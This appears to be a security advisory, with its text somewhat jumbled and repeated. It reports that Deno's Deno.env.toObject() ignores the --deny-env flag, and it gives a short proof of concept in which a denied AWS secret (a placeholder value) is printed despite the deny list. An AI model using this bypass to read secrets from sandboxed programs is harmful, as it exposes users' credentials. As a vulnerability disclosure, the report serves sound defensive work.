export AWS_SECRET_ACCESS_KEY=my-secret-aws-key
# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
^
at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
at file:///$deno$stdin.mts:1:22
[Object: null prototype] {
...
AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
...
}
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
frankvd Reporter
Summary
The Deno.env.toObject method ignores any variables listed in the
--deny-envoption of thedeno runcommand. When looking at the documentation of the--deny-envoption this might lead to a false impression that variables listed in the option are impossible to read.PoC
The first example using
getexits with the following error:The second example using
toObjectprints all environment variables:Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.